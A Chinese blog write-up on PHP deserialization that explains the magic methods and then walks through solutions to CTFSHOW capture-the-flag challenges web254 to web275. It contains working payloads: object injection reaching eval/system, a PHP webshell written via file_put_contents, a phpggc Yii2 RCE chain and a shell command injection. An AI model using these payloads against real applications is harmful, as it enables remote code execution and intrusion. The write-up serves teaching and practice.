php 反序列化漏洞

Root
Root
发布于 2023-10-14 / 8 阅读 / 0 评论 / 0 点赞

php 反序列化漏洞

常见魔术方法

__construct(),类的构造函数,创建类对象时被调用
__destruct(),类的析构函数,销毁类对象时被调用
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__callStatic(),用静态方式中调用一个不可访问方法时调用
__call(),在对象中调用一个不可访问方法时调用

    
示例:
<?php
highlight_file(__FILE__);
echo "<br>";
class magic_test
{
    public $data1="yichen";
    public $data2="writeup";
    public function print_dat()
    {
        echo $this->data1 . " " .$this->data2 . "<br>";
    }
    public function __construct()
    {//构造函数
        echo "__construct<br>";
    } 
    public function __destruct()
    {//析构函数
        echo "__destruct<br>";
    }
    public function __wakeup()
    {//执行unserialize时调用
        echo "__wakeup<br>";
    }
    public function __sleep()
    {//执行serialize时调用
        echo "__sleep<br>";
        return array("data1","data2");
        //__sleep()该函数必须返回一个需要进行序列化保存的成员属性数组
        //并且只序列化该函数返回的这些成员属性
    }
    public function __toString()
    {//类被当成字符串时的回应方法
      //echo "__toString<br>";
      return "__toString<br>";
    }
    function __call($name, $arg)
    {//在对象中调用一个不可访问方法时调用
	 //不存在的方法名是$name,参数是数组形式
      echo "$name<br>";
      var_dump($arg);
	  echo "<br>";
    }
    function __invoke()
    {//调用函数的方式调用一个对象时的回应方法
      echo "__invoke<br>";
    }
    function __get($key)
	{//获得一个类中不可访问的成员变量时(未定义或私有属性)
		echo "__get<br>";
    }
    function __set($arg1,$arg2)
	{//给一个类中不可访问的成员变量赋值时
		echo "__set<br>";
        echo "$arg1:$arg2 <br>";
    }
}
//创建对象,调用__construct
echo "准备创建对象<br>";
$obj = new magic_test();
echo "创建对象完成<br>";

//序列化对象,调用__sleep
echo "准备序列化对象<br>";
$serialized = serialize($obj);
echo "序列化对象完成<br>";

//类被当成字符串输出,调用__toString
echo "准备输出类<br>";
echo $obj;
echo "输出类完毕<br>";

//类被当成方法调用输出,调用__invoke
echo "准备把对象当作方法调用<br>";
$obj();
echo "把对象当作方法调用完毕<br>";

//输出序列化之后的字符串
echo "打印序列化之后的对象 ";
echo "serialized: ".$serialized."<br>";
echo "打印完成<br>";

//调用一个不存在的方法,调用__call
echo "准备调用不存在的方法hack<br>";
$obj->hack('arg1','arg2',3);
echo "调用不存在的方法hack完毕<br>";

//获得一个类不存在的成员变量时,调用__get
echo "准备访问对象不存在的字段<br>";
$function = $obj->nono;
echo "访问对象不存在的字段完毕<br>";

//获得一个类不存在的成员变量时,调用__set
echo "准备设置对象不存在的字段<br>";
$obj->onon = 123;
echo "设置对象不存在的字段完毕<br>";

//重建对象(反序列化),调用__wakeup
echo "准备反序列化对象<br>";
$obj2=unserialize($serialized);
echo "反序列化完成<br>";

//调用方法
echo "准备调用方法<br>";
$obj2->print_dat();
echo "调用结束<br>";

//反序列化后会额外在调用__destruct
//脚本结束 调用__destruct
?>    

CTFSHOW web254

  • 题目

    <?php
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-12-02 17:44:47
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-12-02 19:29:02
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    error_reporting(0);
    highlight_file(__FILE__);
    include('flag.php');
    
    class ctfShowUser{
        public $username='xxxxxx';
        public $password='xxxxxx';
        public $isVip=false;
    
        public function checkVip(){
            return $this->isVip;
        }
        public function login($u,$p){
            if($this->username===$u&&$this->password===$p){
                $this->isVip=true;
            }
            return $this->isVip;
        }
        public function vipOneKeyGetFlag(){
            if($this->isVip){
                global $flag;
                echo "your flag is ".$flag;
            }else{
                echo "no vip, no flag";
            }
        }
    }
    
    $username=$_GET['username'];
    $password=$_GET['password'];
    
    if(isset($username) && isset($password)){
        $user = new ctfShowUser();
        if($user->login($username,$password)){
            if($user->checkVip()){
                $user->vipOneKeyGetFlag();
            }
        }else{
            echo "no vip,no flag";
        }
    }
    
  • WP

    严格来说这个都不算PHP反序列化,根据这个代码逻辑,发现其只校验了username和password,?username=xxxxxx&password=xxxxxx

  • CTFSHOW web255

    • 题目

      <?php
      
      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date:   2020-12-02 17:44:47
      # @Last Modified by:   h1xa
      # @Last Modified time: 2020-12-02 19:29:02
      # @email: h1xa@ctfer.com
      # @link: https://ctfer.com
      
      */
      
      error_reporting(0);
      highlight_file(__FILE__);
      include('flag.php');
      
      class ctfShowUser{
          public $username='xxxxxx';
          public $password='xxxxxx';
          public $isVip=false;
      
          public function checkVip(){
              return $this->isVip;
          }
          public function login($u,$p){
              return $this->username===$u&&$this->password===$p;
          }
          public function vipOneKeyGetFlag(){
              if($this->isVip){
                  global $flag;
                  echo "your flag is ".$flag;
              }else{
                  echo "no vip, no flag";
              }
          }
      }
      
      $username=$_GET['username'];
      $password=$_GET['password'];
      
      if(isset($username) && isset($password)){
          $user = unserialize($_COOKIE['user']);    
          if($user->login($username,$password)){	#此处login方法没有返回值,所以没能改变$isVip的值,因此手动改变这个值就是答案
              if($user->checkVip()){
                  $user->vipOneKeyGetFlag();
              }
          }else{
              echo "no vip,no flag";
          }
      }
      
    • WP

      1.将全部的类复制过来
          class ctfShowUser{
          public $username='xxxxxx';
          public $password='xxxxxx';
          public $isVip=false;
      
          public function checkVip(){
              return $this->isVip;
          }
          public function login($u,$p){
              return $this->username===$u&&$this->password===$p;
          }
          public function vipOneKeyGetFlag(){
              if($this->isVip){
                  global $flag;
                  echo "your flag is ".$flag;
              }else{
                  echo "no vip, no flag";
              }
          }
      }
      2.将修改数据或者有需要的地方保留
      <?php
      
      class ctfShowUser{
          public $isVip=true;
      
      }
      3.创建类对象并且序列化
      $u =new ctfShowUser();
      echo urlencode(serialize($u));
      
      4。完整WP代码
      <?php
      
      class ctfShowUser{
          public $isVip=true;
      
      }
      $u =new ctfShowUser();
      echo urlencode(serialize($u));
      ?>    
      

CTFSHOW web256

  • 题目

    <?php
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-12-02 17:44:47
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-12-02 19:29:02
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    error_reporting(0);
    highlight_file(__FILE__);
    include('flag.php');
    
    class ctfShowUser{
        public $username='xxxxxx';
        public $password='xxxxxx';
        public $isVip=false;
    
        public function checkVip(){
            return $this->isVip;
        }
        public function login($u,$p){
            return $this->username===$u&&$this->password===$p;
        }
        public function vipOneKeyGetFlag(){
            if($this->isVip){
                global $flag;
                if($this->username!==$this->password){	#此处增加判断username与password是否相等,让他们不等就行了
                        echo "your flag is ".$flag;
                  }
            }else{
                echo "no vip, no flag";
            }
        }
    }
    
    $username=$_GET['username'];
    $password=$_GET['password'];
    
    if(isset($username) && isset($password)){
        $user = unserialize($_COOKIE['user']);    
        if($user->login($username,$password)){
            if($user->checkVip()){
                $user->vipOneKeyGetFlag();
            }
        }else{
            echo "no vip,no flag";
        }
    }
    
    
  • WP

    1.将全部的类复制
        class ctfShowUser{
        public $username='xxxxxx';
        public $password='xxxxxx';
        public $isVip=false;
    
        public function checkVip(){
            return $this->isVip;
        }
        public function login($u,$p){
            return $this->username===$u&&$this->password===$p;
        }
        public function vipOneKeyGetFlag(){
            if($this->isVip){
                global $flag;
                if($this->username!==$this->password){
                        echo "your flag is ".$flag;
                  }
            }else{
                echo "no vip, no flag";
            }
        }
    }
    2.将需要判断的地方修改,删除不要的地方
        class ctfShowUser{
        public $username='x1';
        public $password='x2';
        public $isVip=true;
    
    }
    3.创建对象序列化
        <?php
    
    class ctfShowUser{
        public $username='x1';
        public $password='x2';
        public $isVip=true;
    
    }
    
    $u =new ctfShowUser();
    echo urlencode(serialize($u));
    ?>
    

CTFSHOW web257

  • 题目
  <?php
  
  /*
  # -*- coding: utf-8 -*-
  # @Author: h1xa
  # @Date:   2020-12-02 17:44:47
  # @Last Modified by:   h1xa
  # @Last Modified time: 2020-12-02 20:33:07
  # @email: h1xa@ctfer.com
  # @link: https://ctfer.com
  
  */
  
  error_reporting(0);
  highlight_file(__FILE__);
  
  class ctfShowUser{
      private $username='xxxxxx';
      private $password='xxxxxx';
      private $isVip=false;
      private $class = 'info';	#3.此处需要把class修改为backDoor
  
      public function __construct(){# 创建类对象时执行
          $this->class=new info(); #2.此处创建类的对象,所以需要将这里new的对象换成backDoor
      }
      public function login($u,$p){
          return $this->username===$u&&$this->password===$p;
      }
      public function __destruct(){	#1.对象被销毁时调用,此处一定会被调用,所需需要将代码的运行流程修改去执行backDoor这个类
          $this->class->getInfo();
      }
  
  }
  
  class info{
      private $user='xxxxxx';
      public function getInfo(){
          return $this->user;
      }
  }
  
  class backDoor{
      private $code;	#4.code的内容被带入执行,所以需要赋值,让其执行命令
      public function getInfo(){
          eval($this->code);
      }
  }
  
  $username=$_GET['username'];
  $password=$_GET['password'];
  
  if(isset($username) && isset($password)){
      $user = unserialize($_COOKIE['user']);
      $user->login($username,$password);
  }

  • WP

      1.复制
         class ctfShowUser{
          private $username='xxxxxx';
          private $password='xxxxxx';
          private $isVip=false;
          private $class = 'info';
      
          public function __construct(){
              $this->class=new info();
          }
          public function login($u,$p){
              return $this->username===$u&&$this->password===$p;
          }
          public function __destruct(){
              $this->class->getInfo();
          }
      
      }
      
      class info{
          private $user='xxxxxx';
          public function getInfo(){
              return $this->user;
          }
      }
      
      class backDoor{
          private $code;
          public function getInfo(){
              eval($this->code);
          }
      }
      2.修改数据,删除不需要的地方
          class ctfShowUser{
      
          public $class = 'backDoor';
      
          public function __construct(){
              $this->class=new backDoor();
      
      }
      }
      class backDoor{
          public $code="system('ls');";
      
      }
     3.创建类对象,序列化
    <?php
    
    class ctfShowUser{
    
        public $class = 'backDoor';
    
        public function __construct(){
            $this->class=new backDoor();
    
    }
    }
    class backDoor{
        public $code="system('ls');";
    
    }
    
    $u =new ctfShowUser();
    echo urlencode(serialize($u));
    ?>
    

CTFSHOW web258

  • 题目

    <?php
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-12-02 17:44:47
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-12-02 21:38:56
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    error_reporting(0);
    highlight_file(__FILE__);
    
    class ctfShowUser{
        public $username='xxxxxx';
        public $password='xxxxxx';
        public $isVip=false;
        public $class = 'info';
    
        public function __construct(){
            $this->class=new info();
        }
        public function login($u,$p){
            return $this->username===$u&&$this->password===$p;
        }
        public function __destruct(){
            $this->class->getInfo();
        }
    
    }
    
    class info{
        public $user='xxxxxx';
        public function getInfo(){
            return $this->user;
        }
    }
    
    class backDoor{
        public $code;
        public function getInfo(){
            eval($this->code);
        }
    }
    
    $username=$_GET['username'];
    $password=$_GET['password'];
    
    if(isset($username) && isset($password)){
        if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){	#这里只多了一层过滤,过滤类似o:数字: 或者c:数字: 只需要用:+就可以绕过
            $user = unserialize($_COOKIE['user']);
        }
        $user->login($username,$password);
    }
    

CTFWSHOW web260

  • 题目

    <?php
    
    error_reporting(0);
    highlight_file(__FILE__);
    include('flag.php');
    
    if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){	#preg_match匹配序列化后的字符串中是否有/ctfshow_i_love_36D/ ,所以直接赋值就好,?ctfshow=/ctfshow_i_love_36D/
        echo $flag;
    }
    

CTFSHOW web261

  • 题目
class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){	#创建对象时调用,此处可以创建类对象复制
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){	#0x36d为877,因为php是弱类型,所以877=877.php
            file_put_contents($this->username, $this->password);	#file_put_contents  可以写入文件,所以此处写一个webshell
        }
    }
}
  • WP

    1.复制
    2.修改删除数据
        class ctfshowvip{
        public $username;
        public $password;
    
    
        public function __construct($u,$p){
            $this->username=$u;
            $this->password=$p;
        }
    
    
    }
    3.创建类对象,序列化代码
        
    

CTFSHOW web262

  • 题目

    # 这道题的考点是字符串逃逸
    
    <?php
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-12-03 02:37:19
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-12-03 16:05:38
    # @message.php
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    
    error_reporting(0);
    class message{
        public $from;
        public $msg;
        public $to;
        public $token='user';
        public function __construct($f,$m,$t){
            $this->from = $f;
            $this->msg = $m;
            $this->to = $t;
        }
    }
    
    $f = $_GET['f'];
    $m = $_GET['m'];
    $t = $_GET['t'];
    
    if(isset($f) && isset($m) && isset($t)){
        $msg = new message($f,$m,$t);
        $umsg = str_replace('fuck', 'loveU', serialize($msg));
        setcookie('msg',base64_encode($umsg));
        echo 'Your message has been sent';
    }
    
    highlight_file(__FILE__);
    
    #以下为 message.php
    <?php
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-12-03 15:13:03
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-12-03 15:17:17
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    highlight_file(__FILE__);
    include('flag.php');
    
    class message{
        public $from;
        public $msg;
        public $to;
        public $token='user';
        public function __construct($f,$m,$t){
            $this->from = $f;
            $this->msg = $m;
            $this->to = $t;
        }
    }
    
    if(isset($_COOKIE['msg'])){
        $msg = unserialize(base64_decode($_COOKIE['msg']));
        if($msg->token=='admin'){
            echo $flag;
    
  • WP

    思路:
    1.可控变量只有f,m,t
        O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:4:"user";}
    2.可以发现最后一部分token的值是我们无法控制修改的
    3.解决方案:让反序列化时不识别它,不就好了,也就是让其他字符串把他的位置占用,这样它就不会被解析到
    4.题目中有能破坏序列化字符串结构的代码
        $umsg = str_replace('fuck', 'loveU', serialize($msg));
    5.如果你想问怎么破坏的?
        O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:4:"fuck";s:5:"token";s:4:"user";}
        O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:4:"loveU";s:5:"token";s:4:"user";}
    	可以发现fuck被替换成了loveU但是前面的字符长度还是4,这就导致了额序列化字符串的结构被破坏,不能被正常反序列化解析
    6.观察以下字符串
            提交:?f=1&m=1&t=fuckfuck";s:5:"token";s:5:"admin";}
            未被替换的序列化字符串:
            O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:35:"fuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";} 
    		to的值为:fuckfuck";s:5:"token";s:5:"admin";}
    		替换后的序列化字符串:
             {s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:35:"loveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
    		to的值为:loveUloveU";s:5:"token";s:5:"admin"
    		是不是发现少了;},这两个字符串就相当于逃逸出来了,所以我们想让s:5:"token";s:5:"admin";}逃逸出来,就需要让to的值刚好解析到这个前面是不是?规律是:一个fuck被替换后会多一个字符,所以能逃逸一个字符出来,所以只需要数一数s:5:"token";s:5:"admin";}的长度,添加相应长度的fuck,这个字符串就可以被逃逸出来
    所以答案是:
    27个fuck可以将s:5:"token";s:5:"admin";}完全逃逸出来
    ?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
    

CTFSHOW web263

  • 题目

    代码在www.zip里面
        在inc.php存在漏洞
        class User{
        public $username;
        public $password;
        public $status;
        function __construct($username,$password){
            $this->username = $username;
            $this->password = $password;
        }
        function setStatus($s){
            $this->status=$s;
        }
        function __destruct(){
            file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
        }
    }
    
    
  • WP

    <?php
      class User{
        public $username;
        public $password;
        public $status;
        function __construct($username,$password){
            $this->username = $username;
            $this->password = $password;
        }
        function setStatus($s){
            $this->status=$s;
        }
        function __destruct(){
            file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
        }
      }
    
      $a = new User('3.php', '<?php eval($_GET["cmd"]) ?>');
      $a->setStatus('成功');
      echo base64_encode('|'.serialize($a));
    ?>
    

CTFSHOW web265

  • 题目

    <?php
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-12-04 23:52:24
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-12-05 00:17:08
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    error_reporting(0);
    include('flag.php');
    highlight_file(__FILE__);
    class ctfshowAdmin{
        public $token;
        public $password;
    
        public function __construct($t,$p){
            $this->token=$t;
            $this->password = $p;
        }
        public function login(){
            return $this->token===$this->password;
        }
    }
    
    $ctfshow = unserialize($_GET['ctfshow']);
    $ctfshow->token=md5(mt_rand());	#mt_rand() 函数是一个用于生成随机整数的函数,所以要让他们相等就得把他的地址传给另外一个参数
    
    if($ctfshow->login()){
        echo $flag;
    }
    
    
  • WP

    <?php
      class ctfshowAdmin{
          public $token;
          public $password;
    
          public function __construct($t,$p){
              $this->token=$t;
              $this->password = $p;
          }
          public function login(){
              return $this->token===$this->password;
          }
      }
      $a = new ctfshowAdmin(1,2);
      $a->password = &$a->token;	#将$a.token的地址传给$a.password
      echo urlencode(serialize($a));
    

CTFSHOW web266

  • 题目

    <?php
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-12-04 23:52:24
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-12-05 00:17:08
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    highlight_file(__FILE__);
    
    include('flag.php');
    $cs = file_get_contents('php://input');	#从 PHP 输入流中获取数据,并将其存储在变量 $cs 中。通常,这是从 POST 请求的主体中获取数据。
    
    
    class ctfshow{
        public $username='xxxxxx';
        public $password='xxxxxx';
        public function __construct($u,$p){
            $this->username=$u;
            $this->password=$p;
        }
        public function login(){
            return $this->username===$this->password;
        }
        public function __toString(){
            return $this->username;
        }
        public function __destruct(){
            global $flag;
            echo $flag;
        }
    }
    $ctfshowo=@unserialize($cs);
    if(preg_match('/ctfshow/', $cs)){
        throw new Exception("Error $ctfshowo",1);
    }
    
    
    
  • WP

    只是匹配序列化字符串里面是否有ctfshow,无其他校验,大小写即可绕过
    

CTFSHOW web267

  • WP

    弱密码登录后台
        存在yii2 反序列化漏洞
        使用工具(kali好像自带):https://github.com/ambionics/phpggc.git
    phpggc Yii2/RCE1 exec 'cp /fla* tt.txt' --base64
    

CTFSHOW web275

  • 题目

    <?php
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-12-08 19:13:36
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-12-08 20:08:07
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    
    highlight_file(__FILE__);
    
    class filter{
        public $filename;
        public $filecontent;
        public $evilfile=false;
    
        public function __construct($f,$fn){
            $this->filename=$f;
            $this->filecontent=$fn;
        }
        public function checkevil(){	#2.正则匹配,所以需要包含这些
            if(preg_match('/php|\.\./i', $this->filename)){
                $this->evilfile=true;
            }
            if(preg_match('/flag/i', $this->filecontent)){
                $this->evilfile=true;
            }
            return $this->evilfile;
        }
        public function __destruct(){	# 4.此处一定会被调用!filename会被带入执行所以,而fn=$f=filename,所以传入fn
            if($this->evilfile){
                system('rm '.$this->filename);	
            }
        }
    }
    
    if(isset($_GET['fn'])){
        $content = file_get_contents('php://input');
        $f = new filter($_GET['fn'],$content);	#1.传入参数
        if($f->checkevil()===false){	
            file_put_contents($_GET['fn'], $content);
            copy($_GET['fn'],md5(mt_rand()).'.txt');
            unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
            echo 'work done';
        }
        
    }else{
        echo 'where is flag?';
    }
    
  • WP

    ?fn;命令